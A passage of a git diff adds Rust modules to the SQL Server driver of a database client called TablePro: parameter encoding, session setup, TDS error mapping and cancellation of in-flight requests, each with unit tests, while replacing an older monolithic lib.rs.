+/// SQL Server's dates run from 0001-01-01 to 9999-12-31. +fn in_range(date: NaiveDate) -> Result { + match (1..=9999).contains(&date.year()) { + true => Ok(date), + false => Err(DriverError::Unsupported { + feature: "a date outside years 1 to 9999", + }), + } +} + +fn refused(param_type: &ParamType, value: &Value) -> DriverError { + DriverError::Protocol(format!( + "a {} parameter cannot carry a {} value", + param_type.name(), + value.variant_name() + )) +} + +fn out_of_range(integer: i128, sql_type: &str) -> DriverError { + DriverError::Protocol(format!("{integer} does not fit a {sql_type} parameter")) +} + +#[cfg(test)] +mod tests { + use chrono::DateTime; + use tablepro_core::column::SqlTypeExpr; + use tablepro_core::value::{OffsetTimestamp, SqlDecimal}; + + use super::*; + + fn bound(value: Value, param_type: ParamType) -> BoundParam { + BoundParam::new(value, param_type).unwrap() + } + + #[test] + fn a_null_keeps_the_type_the_server_expects() { + let varbinary = encode(&bound(Value::Null, ParamType::Bytes)).unwrap(); + let uuid = encode(&bound(Value::Null, ParamType::Uuid)).unwrap(); + let server = encode(&bound( + Value::Null, + ParamType::ServerText(SqlTypeExpr::from_catalog_text("geography")), + )) + .unwrap(); + + assert_eq!(varbinary, ColumnData::Binary(None)); + assert_eq!(uuid, ColumnData::Guid(None)); + assert_eq!(server, ColumnData::String(None)); + } + + #[test] + fn a_decimal_travels_as_its_scaled_integer() { + let decimal: SqlDecimal = "-12345678901234567890.1234".parse().unwrap(); + + let encoded = encode(&bound(Value::Decimal(decimal), ParamType::Decimal)).unwrap(); + + assert_eq!( + encoded, + ColumnData::Numeric(Some(Numeric::new_with_scale(-123_456_789_012_345_678_901_234, 4))) + ); + assert!(encode(&bound(Value::Decimal(SqlDecimal::nan()), ParamType::Decimal)).is_err()); + assert_eq!( + encode(&bound(Value::UInt(u64::MAX), ParamType::UInt64)).unwrap(), + ColumnData::Numeric(Some(Numeric::new_with_scale(i128::from(u64::MAX), 0))) + ); + } + + #[test] + fn integers_are_checked_against_their_width() { + assert_eq!( + encode(&bound(Value::Int(255), ParamType::Int16)).unwrap(), + ColumnData::I16(Some(255)) + ); + assert!(encode(&bound(Value::Int(70_000), ParamType::Int16)).is_err()); + assert!(encode(&bound(Value::UInt(u64::MAX), ParamType::Int64)).is_err()); + } + + #[test] + fn a_timestamp_with_offset_keeps_its_offset() { + let stamp = DateTime::parse_from_rfc3339("2024-06-15T13:45:30.1234567+05:30").unwrap(); + let value = Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(stamp))); + + let encoded = encode(&bound(value, ParamType::TimestampTz)).unwrap(); + + let ColumnData::DateTimeOffset(Some(offset)) = encoded else { + panic!("not a datetimeoffset: {encoded:?}"); + }; + assert_eq!(offset.offset(), 330); + assert_eq!( + offset.datetime2().time().increments(), + (8 * 3600 + 15 * 60 + 30) * 10_000_000 + 1_234_567 + ); + } + + #[test] + fn a_date_before_year_one_is_refused_rather_than_wrapped() { + let early = NaiveDate::from_ymd_opt(0, 12, 31) + .and_then(|date| date.and_hms_opt(0, 0, 0)) + .unwrap(); + + assert!(encode(&bound(Value::Timestamp(Temporal::Finite(early)), ParamType::Timestamp)).is_err()); + assert!(matches!( + encode(&bound(Value::Date(Temporal::Infinity), ParamType::Date)), + Err(DriverError::Protocol(_)) + )); + } + + #[test] + fn text_travels_as_nvarchar() { + assert_eq!( + encode(&bound(Value::Text("Zoë".to_owned()), ParamType::FixedText)).unwrap(), + ColumnData::String(Some(Cow::Borrowed("Zoë"))) + ); + } +} diff --git a/linux/crates/drivers/mssql/src/endpoint.rs b/linux/crates/drivers/mssql/src/endpoint.rs new file mode 100644 index 0000000000..386581a81e --- /dev/null +++ b/linux/crates/drivers/mssql/src/endpoint.rs @@ -0,0 +1,130 @@ +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::{DriverError, LivenessPolicy, NetworkTarget, TimeoutPhase, Transport, WorkspaceSettings}; +use tokio_util::sync::CancellationToken; + +use crate::login::{LoginPlan, login}; +use crate::physical::MssqlLink; + +/// Everything needed to open a physical connection to one server. +/// +/// Every stream comes from the transport, so the driver never learns +/// whether the server is reached directly or through an SSH forward. +pub(crate) struct MssqlEndpoint { + transport: Arc, + plan: LoginPlan, + liveness: LivenessPolicy, + workspace_setup: String, +} + +impl MssqlEndpoint { + pub(crate) fn new( + target: &NetworkTarget, + liveness: LivenessPolicy, + settings: &WorkspaceSettings, + ) -> Result { + Ok(Self { + transport: target.transport.clone(), + plan: LoginPlan::new(target, &liveness)?, + liveness, + workspace_setup: workspace_setup(settings), + }) + } + + pub(crate) fn liveness(&self) -> &LivenessPolicy { + &self.liveness + } + + /// A connection for the workspace pool, with the session settings + /// every driver-owned statement relies on. + pub(crate) async fn open_workspace(&self, cancel: &CancellationToken) -> Result { + let mut link = self.open(cancel).await?; + let setting_up = link.batch(&self.workspace_setup); + let set_up = tokio::select! { + biased; + () = cancel.cancelled() => Err(DriverError::Cancelled), + set_up = tokio::time::timeout(self.liveness.login_timeout, setting_up) => { + set_up.unwrap_or(Err(DriverError::Timeout { phase: TimeoutPhase::Login, server_cancelled: false })) + } + }; + match set_up { + Ok(()) => Ok(link), + Err(error) => Err(self.explain(error).await), + } + } + + /// A connection for an editor tab, left at the server's defaults + /// because whatever the user sets on it is theirs. + pub(crate) async fn open_editor(&self, cancel: &CancellationToken) -> Result { + self.open(cancel).await + } + + async fn open(&self, cancel: &CancellationToken) -> Result { + match login(&self.plan, self.transport.clone(), cancel).await { + Ok(link) => Ok(link), + Err(error) => Err(self.explain(error).await), + } + } + + /// A stream that closed may be the transport's doing, such as an SSH + /// master that exited, which says more than "connection lost". + pub(crate) async fn explain(&self, error: DriverError) -> DriverError { + if !matches!(error, DriverError::ConnectionLost { .. }) { + return error; + } + match self.transport.explain_closed_stream().await { + Some(transport) => DriverError::Transport(transport), + None => error, + } + } + + /// Open a connection of its own and ask it one trivial question, + /// within `bound`. This is the probe that never waits for a pool. + pub(crate) async fn check(&self, bound: Duration) -> Result<(), DriverError> { + let checking = async { + let mut link = self.open(&CancellationToken::new()).await?; + link.batch("SELECT 1").await + }; + match tokio::time::timeout(bound, checking).await { + Ok(outcome) => outcome, + Err(_) => Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }), + } + } +} + +/// What a workspace connection runs once, after login. +/// +/// XACT_ABORT rolls a transaction back on any error and on a client's +/// attention, so a statement the app stops never leaves one open on a +/// pooled connection. LOCK_TIMEOUT makes a blocked edit report the lock +/// rather than run into the statement deadline. +fn workspace_setup(settings: &WorkspaceSettings) -> String { + let lock_timeout = settings.lock_timeout.as_millis().clamp(1, i32::MAX as u128); + format!("SET LOCK_TIMEOUT {lock_timeout}; SET XACT_ABORT ON;") +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn workspace_sessions_abort_on_error_and_bound_lock_waits() { + let setup = workspace_setup(&WorkspaceSettings::workspace(false)); + + assert_eq!(setup, "SET LOCK_TIMEOUT 10000; SET XACT_ABORT ON;"); + } + + #[test] + fn a_sub_millisecond_lock_timeout_never_renders_as_no_wait() { + let settings = WorkspaceSettings { + lock_timeout: Duration::from_micros(10), + ..WorkspaceSettings::workspace(false) + }; + + assert!(workspace_setup(&settings).starts_with("SET LOCK_TIMEOUT 1;")); + } +} diff --git a/linux/crates/drivers/mssql/src/errors.rs b/linux/crates/drivers/mssql/src/errors.rs new file mode 100644 index 0000000000..8fb6b29659 --- /dev/null +++ b/linux/crates/drivers/mssql/src/errors.rs @@ -0,0 +1,238 @@ +use deadpool::managed::{PoolError, TimeoutType}; +use tablepro_core::{DriverError, LossPhase, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TimeoutPhase}; +use tiberius::error::Error; + +use crate::tds_message::TdsMessage; +use crate::tls_config::tls_failure; + +/// tiberius reports a connection whose wire state it can no longer +/// trust, after a write cut short or a response left half read, as a +/// protocol error with this phrase. +const UNUSABLE: &str = "can no longer be used"; + +/// What a tiberius error means to the app. +pub(crate) fn map_error(error: Error) -> DriverError { + match error { + Error::Io { .. } => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + Error::Tls(detail) => DriverError::Tls { + failure: tls_failure(&detail), + detail, + }, + Error::Server(token) => server_error(&TdsMessage::from(&token)), + #[cfg(feature = "kerberos")] + Error::Gssapi(detail) => DriverError::IntegratedAuth(detail), + Error::Routing { host, port } => { + DriverError::Protocol(format!("the server asked for the login to go to {host}:{port}")) + } + Error::Protocol(text) if text.contains(UNUSABLE) => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + other => DriverError::Protocol(other.to_string()), + } +} + +/// The TDS error numbers the app acts on. Everything else is the +/// server's own answer, passed through with its diagnostics. +pub(crate) fn server_error(message: &TdsMessage) -> DriverError { + let diagnostics = message.diagnostics(); + match message.number { + // Login failed, untrusted domain, and an account locked, expired + // or due a password change. + 18456 | 18452 | 18486 | 18487 | 18488 => DriverError::auth(Some(diagnostics)), + 3906 => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), + 1222 => DriverError::Timeout { + phase: TimeoutPhase::LockWait, + server_cancelled: true, + }, + // The server's user connection limit. + 17809 => DriverError::Busy, + _ => DriverError::reported(diagnostics), + } +} + +/// The TDS error number behind a driver error, wherever it ended up. +pub(crate) fn tds_number(error: &DriverError) -> Option { + let diagnostics: &ServerDiagnostics = match error { + DriverError::Server(diagnostics) => diagnostics, + DriverError::Auth { + diagnostics: Some(diagnostics), + } => diagnostics, + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) => diagnostics, + _ => return None, + }; + match diagnostics.code { + Some(ServerCode::Tds { number, .. }) => Some(number), + _ => None, + } +} + +/// Whether the connection the error came from is gone or out of step +/// with the server, so it must not run anything else. +pub(crate) fn ends_connection(error: &DriverError) -> bool { + matches!( + error, + DriverError::ConnectionLost { .. } | DriverError::Transport(_) | DriverError::Protocol(_) + ) +} + +/// What a pool refusal means. A wait that runs out means every slot is +/// busy, which is the server having no room rather than a dead link. +pub(crate) fn map_pool_error(error: PoolError) -> DriverError { + match error { + PoolError::Timeout(TimeoutType::Wait) => DriverError::Busy, + PoolError::Timeout(TimeoutType::Create) => DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + }, + PoolError::Timeout(TimeoutType::Recycle) => DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }, + PoolError::Backend(error) => error, + PoolError::Closed => DriverError::ConnectionLost { + during: LossPhase::Idle, + }, + other => DriverError::Protocol(other.to_string()), + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ErrorCategory, TlsFailure}; + + use super::*; + + fn message(number: u32, text: &str) -> TdsMessage { + TdsMessage { + number, + state: 1, + class: 16, + message: text.to_owned(), + procedure: String::new(), + line: 1, + } + } + + #[test] + fn tds_number_table() { + type Expected = fn(&DriverError) -> bool; + let cases: [(u32, &str, Expected); 8] = [ + (18456, "Login failed for user 'sa'.", |e| { + matches!(e, DriverError::Auth { .. }) + }), + (18488, "Login failed. The password must be changed.", |e| { + matches!(e, DriverError::Auth { .. }) + }), + ( + 3906, + "Failed to update database because the database is read-only.", + |e| matches!(e, DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_))), + ), + (1222, "Lock request time out period exceeded.", |e| { + matches!( + e, + DriverError::Timeout { + phase: TimeoutPhase::LockWait, + server_cancelled: true + } + ) + }), + ( + 17809, + "Could not connect because the maximum number of user connections", + |e| matches!(e, DriverError::Busy), + ), + (208, "Invalid object name 't'.", |e| matches!(e, DriverError::Server(_))), + (1205, "Transaction was deadlocked", |e| { + matches!(e, DriverError::Server(_)) + }), + ( + 3903, + "The ROLLBACK TRANSACTION request has no corresponding BEGIN TRANSACTION.", + |e| matches!(e, DriverError::Server(_)), + ), + ]; + for (number, text, expected) in cases { + let mapped = server_error(&message(number, text)); + assert!(expected(&mapped), "{number}: {mapped:?}"); + if !matches!(mapped, DriverError::Timeout { .. } | DriverError::Busy) { + assert_eq!(tds_number(&mapped), Some(number), "{number} kept its number"); + } + } + } + + #[test] + fn diagnostics_carry_the_tds_triple_line_and_procedure() { + let mut sent = message(547, "The INSERT statement conflicted with the FOREIGN KEY constraint"); + sent.procedure = "usp_save".to_owned(); + sent.line = 12; + + let diagnostics = sent.diagnostics(); + + assert_eq!( + diagnostics.code, + Some(ServerCode::Tds { + number: 547, + state: 1, + class: 16 + }) + ); + assert_eq!(diagnostics.where_context.as_deref(), Some("usp_save")); + assert_eq!(diagnostics.detail.as_deref(), Some("line 12")); + assert_eq!(diagnostics.severity.as_deref(), Some("16")); + } + + #[test] + fn a_connection_tiberius_will_not_reuse_is_lost() { + let poisoned = Error::Protocol( + "connection was left in an inconsistent state by a cancelled write and can no longer be used; open a new connection" + .into(), + ); + + assert!(matches!(map_error(poisoned), DriverError::ConnectionLost { .. })); + let io = Error::Io { + kind: tiberius::error::IoErrorKind::ConnectionReset, + message: "connection reset by peer".to_owned(), + }; + assert_eq!(map_error(io).category(), ErrorCategory::ConnectionLost); + } + + #[test] + fn a_rustls_rejection_is_a_typed_tls_failure() { + let mapped = map_error(Error::Tls( + "the server's certificate was rejected during the TLS handshake: invalid peer certificate: UnknownIssuer." + .to_owned(), + )); + + assert!(matches!( + mapped, + DriverError::Tls { + failure: TlsFailure::UnknownIssuer, + .. + } + )); + } + + #[cfg(feature = "kerberos")] + #[test] + fn a_gssapi_failure_is_classified_instead_of_reported_as_an_internal_error() { + let error = map_error(Error::Gssapi("No Kerberos credentials available".to_owned())); + + assert!(matches!(error, DriverError::IntegratedAuth(detail) if detail.contains("No Kerberos"))); + } + + #[test] + fn a_pool_wait_that_runs_out_is_busy() { + assert_eq!(map_pool_error(PoolError::Timeout(TimeoutType::Wait)), DriverError::Busy); + assert!(matches!( + map_pool_error(PoolError::Closed), + DriverError::ConnectionLost { .. } + )); + assert_eq!( + map_pool_error(PoolError::Backend(DriverError::Cancelled)), + DriverError::Cancelled + ); + } +} diff --git a/linux/crates/drivers/mssql/src/in_band_request.rs b/linux/crates/drivers/mssql/src/in_band_request.rs new file mode 100644 index 0000000000..204988c715 --- /dev/null +++ b/linux/crates/drivers/mssql/src/in_band_request.rs @@ -0,0 +1,395 @@ +//! Stopping a request from the task that owns the client. +//! +//! tiberius borrows its client for the whole of a request, so a stop +//! first has to end that borrow, then send the attention on the same +//! client and read the response up to its acknowledgement. Ending the +//! borrow at the wrong moment leaves half a token unread, and then the +//! acknowledgement cannot be found, so each stop first tries to reach a +//! point between tokens and records whether it did. + +use std::future::Future; +use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; +use std::time::Duration; + +use futures_util::TryStreamExt; +use tablepro_core::{DriverError, StopRequest}; +use tiberius::{QueryItem, QueryStream}; +use tokio::time::Instant; +use tracing::debug; + +use crate::cancel::{MssqlStop, StopProgress, unconfirmed_stop}; +use crate::errors::{ends_connection, map_error}; +use crate::physical::MssqlClient; +use crate::transport_io::ReadTally; + +const ROLL_BACK_OPEN: &str = "IF @@TRANCOUNT > 0 ROLLBACK TRANSACTION"; + +/// Where a stopped request left the connection. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Halt { + /// The stop came before anything was sent. + Unsent, + /// The response ended on its own, so nothing is left to stop. + Finished, + /// The decoder stands between tokens, so the attention's + /// acknowledgement can be read back cleanly. + Boundary, + /// A token may be half read, and what follows it is out of step. + MidToken, +} + +/// Why a request did not produce its result. +#[derive(Debug)] +pub(crate) enum Interrupt { + Stopped(Halt), + Failed(DriverError), +} + +impl From for Interrupt { + fn from(error: DriverError) -> Self { + Self::Failed(error) + } +} + +/// How a stopped request spends the cancel grace: first reaching a +/// point between tokens, then waiting for the attention's answer. Both +/// fit inside the grace with room left for the call to return. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) struct StopPolicy { + pub(crate) window: Duration, + pub(crate) budget: Duration, +} + +impl StopPolicy { + pub(crate) fn within(grace: Duration) -> Self { + Self { + window: grace / 4, + budget: grace / 2, + } + } +} + +/// How the server answered an attention. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Answer { + Acknowledged, + /// Something came back that was not the acknowledgement: the route + /// is alive, the connection is not usable. + Garbled, + /// Nothing came back in time, or the socket failed. + Unanswered, +} + +/// One request's view of its stop. +#[derive(Debug)] +pub(crate) struct Watch { + request: StopRequest, + tally: ReadTally, + policy: StopPolicy, + sent_at: AtomicU64, + spoiled: AtomicBool, +} + +impl Watch { + pub(crate) fn new(request: StopRequest, tally: ReadTally, policy: StopPolicy) -> Self { + Self { + sent_at: AtomicU64::new(tally.bytes()), + request, + tally, + policy, + spoiled: AtomicBool::new(false), + } + } + + pub(crate) fn request(&self) -> &StopRequest { + &self.request + } + + pub(crate) fn policy(&self) -> StopPolicy { + self.policy + } + + /// The connection ended up somewhere it must not be reused from. + pub(crate) fn spoil(&self) { + self.spoiled.store(true, Ordering::SeqCst); + } + + pub(crate) fn spoiled(&self) -> bool { + self.spoiled.load(Ordering::SeqCst) + } + + /// Send a request whose response is read afterwards, and wait for its + /// first answer unless a stop comes first. + pub(crate) async fn start(&self, sending: F) -> Result + where + F: Future>, + { + self.race(sending, Halt::Boundary).await + } + + /// Run a request whose future reads its whole response. + pub(crate) async fn finish(&self, running: F) -> Result + where + F: Future>, + { + self.race(running, Halt::Finished).await + } + + async fn race(&self, request: F, once_done: Halt) -> Result + where + F: Future>, + { + // Checked first: the race below polls the request before the + // stop, and a stop that is already due must not start a write it + // would then cut in half. + if self.request.is_requested() { + return Err(Interrupt::Stopped(Halt::Unsent)); + } + self.sent_at.store(self.tally.bytes(), Ordering::SeqCst); + let mut request = std::pin::pin!(request); + tokio::select! { + biased; + done = &mut request => return done.map_err(|error| Interrupt::Failed(map_error(error))), + () = self.request.requested() => {} + } + // A request half written or half read finishes cleanly if it is + // only given a moment, which is worth more than stopping at once. + let halt = match tokio::time::timeout(self.policy.window, &mut request).await { + Ok(Ok(_)) => once_done, + Ok(Err(error)) => return Err(ended_by(error)), + Err(_) => self.halt_while_waiting(), + }; + Err(Interrupt::Stopped(halt)) + } + + /// The next item of a response, unless a stop comes first. + pub(crate) async fn next(&self, stream: &mut QueryStream<'_>) -> Result, Interrupt> { + if self.request.is_requested() { + return Err(Interrupt::Stopped(Halt::Boundary)); + } + tokio::select! { + biased; + item = stream.try_next() => return item.map_err(|error| Interrupt::Failed(map_error(error))), + () = self.request.requested() => {} + } + // The token being decoded lives in the stream, not in the future + // the race dropped, so asking again resumes it. + let halt = match tokio::time::timeout(self.policy.window, stream.try_next()).await { + Ok(Ok(Some(_))) => Halt::Boundary, + Ok(Ok(None)) => Halt::Finished, + Ok(Err(error)) => return Err(ended_by(error)), + Err(_) => self.halt_while_waiting(), + }; + Err(Interrupt::Stopped(halt)) + } + + /// A request still waiting has consumed nothing if nothing arrived, + /// and may be inside a token if anything did. + fn halt_while_waiting(&self) -> Halt { + match self.tally.bytes() == self.sent_at.load(Ordering::SeqCst) { + true => Halt::Boundary, + false => Halt::MidToken, + } + } +} + +/// A request that ended with an error while it was being stopped: the +/// server's own error ends the response, a broken socket ends the +/// connection. +fn ended_by(error: tiberius::error::Error) -> Interrupt { + let mapped = map_error(error); + match ends_connection(&mapped) { + true => Interrupt::Failed(mapped), + false => Interrupt::Stopped(Halt::Finished), + } +} + +/// What became of a request, and whether its connection can run another. +#[derive(Debug)] +pub(crate) struct Concluded { + pub(crate) result: Result, + pub(crate) reusable: bool, +} + +/// Finish a request whatever ended it. A stopped one has its attention +/// sent and answered, and with `roll_back` the connection is left with +/// no transaction open, because an attention does not end one. +pub(crate) async fn conclude( + client: &mut MssqlClient, + watch: &Watch, + outcome: Result, + stop: &MssqlStop, + roll_back: bool, +) -> Concluded { + let (result, reusable) = match outcome { + Ok(value) => (Ok(value), true), + Err(Interrupt::Failed(error)) => { + let reusable = !ends_connection(&error); + (Err(error), reusable) + } + Err(Interrupt::Stopped(halt)) => { + let (error, reusable) = stopped(client, watch, halt, stop, roll_back).await; + (Err(error), reusable) + } + }; + Concluded { + result, + reusable: reusable && !watch.spoiled(), + } +} + +async fn stopped( + client: &mut MssqlClient, + watch: &Watch, + halt: Halt, + stop: &MssqlStop, + roll_back: bool, +) -> (DriverError, bool) { + let until = Instant::now() + watch.policy().budget; + match halt { + Halt::Unsent | Halt::Finished => { + let clean = !roll_back || roll_back_open(client, until).await; + (DriverError::Cancelled, clean) + } + Halt::Boundary | Halt::MidToken => { + let answer = attention(client, until).await; + stop.record(match answer { + Answer::Unanswered => StopProgress::Failed, + Answer::Acknowledged | Answer::Garbled => StopProgress::Delivered, + }); + match answer { + Answer::Acknowledged => { + let clean = halt == Halt::Boundary && (!roll_back || roll_back_open(client, until).await); + (DriverError::Cancelled, clean) + } + Answer::Garbled | Answer::Unanswered => (unconfirmed_stop(watch.request()), false), + } + } + } +} + +/// Send the attention and read up to its acknowledgement, by `until`. +pub(crate) async fn attention(client: &mut MssqlClient, until: Instant) -> Answer { + match tokio::time::timeout_at(until, client.cancel_query()).await { + Ok(Ok(())) => Answer::Acknowledged, + Ok(Err(error)) => { + debug!(%error, "the attention was not acknowledged"); + match error { + tiberius::error::Error::Io { .. } => Answer::Unanswered, + _ => Answer::Garbled, + } + } + Err(_) => Answer::Unanswered, + } +} + +/// Roll back whatever transaction the connection holds, by `until`. +pub(crate) async fn roll_back_open(client: &mut MssqlClient, until: Instant) -> bool { + let rolling_back = async { + let stream = client.simple_query(ROLL_BACK_OPEN).await?; + stream.into_results().await.map(|_| ()) + }; + matches!(tokio::time::timeout_at(until, rolling_back).await, Ok(Ok(()))) +} + +/// Stop a response the caller has read enough of. Reading the rest +/// could mean millions of rows nobody wants, so the server is told to +/// stop instead; a connection that does not answer is not reused. +pub(crate) async fn cut_short(client: &mut MssqlClient, watch: &Watch, roll_back: bool) { + let until = Instant::now() + watch.policy().budget; + let clean = + attention(client, until).await == Answer::Acknowledged && (!roll_back || roll_back_open(client, until).await); + if !clean { + watch.spoil(); + } +} + +#[cfg(test)] +mod tests { + use std::time::Duration; + + use tablepro_core::StopReason; + + use super::*; + + fn watch(tally: &ReadTally) -> Watch { + Watch::new( + StopRequest::new(), + tally.clone(), + StopPolicy::within(Duration::from_secs(1)), + ) + } + + #[test] + fn the_policy_leaves_part_of_the_grace_for_returning() { + let policy = StopPolicy::within(Duration::from_secs(4)); + + assert_eq!(policy.window, Duration::from_secs(1)); + assert_eq!(policy.budget, Duration::from_secs(2)); + assert!(policy.window + policy.budget < Duration::from_secs(4)); + } + + #[tokio::test] + async fn a_stop_already_due_sends_nothing() { + let watch = watch(&ReadTally::new()); + watch.request().request(StopReason::Cancelled); + let mut sent = false; + + let outcome = watch + .start(async { + sent = true; + Ok::<_, tiberius::error::Error>(()) + }) + .await; + + assert!(matches!(outcome, Err(Interrupt::Stopped(Halt::Unsent)))); + assert!(!sent); + } + + #[tokio::test(start_paused = true)] + async fn a_request_with_no_answer_yet_stops_at_a_boundary() { + let watch = watch(&ReadTally::new()); + let request = watch.request().clone(); + tokio::spawn(async move { + tokio::time::sleep(Duration::from_millis(10)).await; + request.request(StopReason::DeadlineElapsed); + }); + + let outcome = watch + .start(std::future::pending::>()) + .await; + + assert!(matches!(outcome, Err(Interrupt::Stopped(Halt::Boundary)))); + } + + #[tokio::test] + async fn a_request_that_ends_while_stopping_finished_on_its_own() { + let watch = watch(&ReadTally::new()); + let request = watch.request().clone(); + + let outcome = watch + .finish(async move { + request.request(StopReason::Cancelled); + tokio::task::yield_now().await; + Ok::<_, tiberius::error::Error>(7) + }) + .await; + + assert!(matches!(outcome, Err(Interrupt::Stopped(Halt::Finished)))); + } + + #[tokio::test] + async fn a_broken_or_garbled_response_while_stopping_ends_the_connection() { + let garbled = tiberius::error::Error::Conversion("nothing to see".into()); + let broken = tiberius::error::Error::Io { + kind: tiberius::error::IoErrorKind::BrokenPipe, + message: "broken pipe".to_owned(), + }; + + assert!(matches!( + ended_by(broken), + Interrupt::Failed(DriverError::ConnectionLost { .. }) + )); + assert!(matches!(ended_by(garbled), Interrupt::Failed(DriverError::Protocol(_)))); + } +} diff --git a/linux/crates/drivers/mssql/src/lib.rs b/linux/crates/drivers/mssql/src/lib.rs index d14c6dfda1..ab9d91b3e6 100644 --- a/linux/crates/drivers/mssql/src/lib.rs +++ b/linux/crates/drivers/mssql/src/lib.rs @@ -1,956 +1,42 @@ -use async_trait::async_trait; -use chrono::{DateTime, NaiveDate, NaiveDateTime, NaiveTime, Utc}; -use futures::TryStreamExt; -use secrecy::ExposeSecret; -use tiberius::{ - AuthMethod, Client, Column, ColumnData, ColumnType, Config, EncryptionLevel, FromSql, QueryItem, ToSql, -}; -use tokio::net::TcpStream; -use tokio::sync::Mutex; -use tokio_util::compat::{Compat, TokioAsyncWriteCompatExt}; - -use tablepro_core::column::{ - CatalogType, ColumnDefault, ColumnType as CoreColumnType, ReadForm, ResultColumn, SqlExpression, SqlTypeExpr, - classify_type_name, has_dynamic_storage, -}; -use tablepro_core::sql_dialect::build_order_and_pagination; -use tablepro_core::value::{OffsetTimestamp, SqlDecimal, SqlTime, Temporal}; -use tablepro_core::{ - AuthMode, ColumnInfo, ConnectOptions, Connection, DatabaseDriver, DriverError, ExecResult, ForeignKeyInfo, - IndexInfo, LossPhase, MAX_QUERY_ROWS, NetworkEndpoint, QueryResult, ReadOnlyRefusal, ServerCode, ServerDiagnostics, - TableInfo, TimeoutPhase, TlsFailure, TransportError, Value, -}; - -type MssqlClient = Client>; - -/// Matches the `acquire_timeout` the sqlx-backed drivers give their -/// pools, so a dead host fails at the same speed on every engine. -const CONNECT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(5); - -pub struct MssqlDriver; - -#[async_trait] -impl DatabaseDriver for MssqlDriver { - fn id(&self) -> &'static str { - "mssql" - } - - fn display_name(&self) -> &'static str { - "SQL Server" - } - - fn default_port(&self) -> u16 { - 1433 - } - - fn ddl_is_transactional(&self) -> bool { - true - } - - fn supports_integrated_auth(&self) -> bool { - cfg!(feature = "kerberos") - } - - async fn connect(&self, opts: ConnectOptions) -> Result, DriverError> { - let target = build_target(&opts)?; - - // Integrated auth drives MIT Kerberos through synchronous FFI - // inside tiberius' login, so that future blocks its thread - // between polls instead of yielding. The runtime the app drives - // this from has a single worker: blocking it stalls every other - // task and leaves `timeout` with no thread to fire on. The - // blocking pool is where a blocking poll belongs, and it keeps - // the deadline below enforceable. An attempt that loses the - // race keeps running there and drops its own client. - let handle = tokio::runtime::Handle::current(); - let connecting = tokio::task::spawn_blocking(move || handle.block_on(open_client(target))); - - // Neither the TCP dial nor the TDS login has its own deadline, - // and an unreachable host would otherwise hang the connect - // dialog for the OS SYN timeout. The budget covers both so the - // failure arrives on the same scale as the sqlx drivers' - // acquire_timeout. - let client = match tokio::time::timeout(CONNECT_TIMEOUT, connecting).await { - Ok(Ok(opened)) => opened?, - Ok(Err(join)) => return Err(DriverError::Protocol(join.to_string())), - Err(_) => { - return Err(DriverError::Transport(TransportError::Timeout { - phase: TimeoutPhase::Connect, - })); - } - }; - - Ok(Box::new(MssqlConnection { - client: Mutex::new(client), - })) - } -} - -/// Where the client talks and who it says it is talking to. tiberius -/// derives the Kerberos SPN and the TLS server name from the configured -/// host and port, while the socket is opened separately. An SSH tunnel -/// replaces `opts.host`/`opts.port` with a local forward, so the two -/// come from different places: `service_address()` names the server, -/// `dial_host`/`dial_port` reach it. -struct MssqlTarget { - config: Config, - dial_host: String, - dial_port: u16, -} - -fn build_target(opts: &ConnectOptions) -> Result { - let (service_host, service_port) = opts.service_address(); - let mut config = Config::new(); - config.host(service_host); - config.port(service_port); - config.database(&opts.database); - config.authentication(auth_method(opts)?); - // SQL Server always encrypts the login exchange; `Off` keeps the - // post-login stream in the clear, `Required` encrypts everything. - // No cert-path UI exists, so the server certificate is trusted - // without verification, matching the sqlx drivers' Require / - // Required modes. - config.encryption(if opts.use_tls { - EncryptionLevel::Required - } else { - EncryptionLevel::Off - }); - config.trust_cert(); - Ok(MssqlTarget { - config, - dial_host: dial_host(&opts.host).to_string(), - dial_port: opts.port, - }) -} - -fn auth_method(opts: &ConnectOptions) -> Result { - match opts.auth_mode { - AuthMode::Password => Ok(AuthMethod::sql_server(&opts.username, opts.password.expose_secret())), - #[cfg(feature = "kerberos")] - AuthMode::Kerberos => Ok(AuthMethod::Integrated), - #[cfg(not(feature = "kerberos"))] - AuthMode::Kerberos => Err(DriverError::IntegratedAuth( - "this build of TablePro was compiled without Kerberos support".to_owned(), - )), - } -} - -/// `.` is SQL Server shorthand for the local machine. tiberius resolves -/// it on the config side; the socket has to be given the same treatment -/// or the shorthand reaches the resolver verbatim. -fn dial_host(host: &str) -> &str { - if host == "." { "localhost" } else { host } -} - -async fn open_client(target: MssqlTarget) -> Result { - let endpoint = NetworkEndpoint::new(&target.dial_host, target.dial_port)?; - let tcp = TcpStream::connect((target.dial_host.as_str(), target.dial_port)) - .await - .map_err(|error| map_io_error(error, &endpoint))?; - tcp.set_nodelay(true).map_err(|error| map_io_error(error, &endpoint))?; - Client::connect(target.config, tcp.compat_write()) - .await - .map_err(map_tiberius_error) -} - -struct MssqlConnection { - client: Mutex, -} - -#[async_trait] -impl Connection for MssqlConnection { - async fn list_tables(&self) -> Result, DriverError> { - let sql = "SELECT s.name AS schema_name, t.name AS table_name \ - FROM sys.tables t \ - JOIN sys.schemas s ON t.schema_id = s.schema_id \ - ORDER BY s.name, t.name"; - let mut client = self.client.lock().await; - let result = run_query(&mut client, sql, &[], MAX_QUERY_ROWS).await?; - Ok(result - .rows - .iter() - .filter_map(|row| { - let name = as_text(row.get(1))?; - Some(TableInfo { - schema: as_text(row.first()), - name, - }) - }) - .collect()) - } - - async fn fetch_columns(&self, schema: Option<&str>, table: 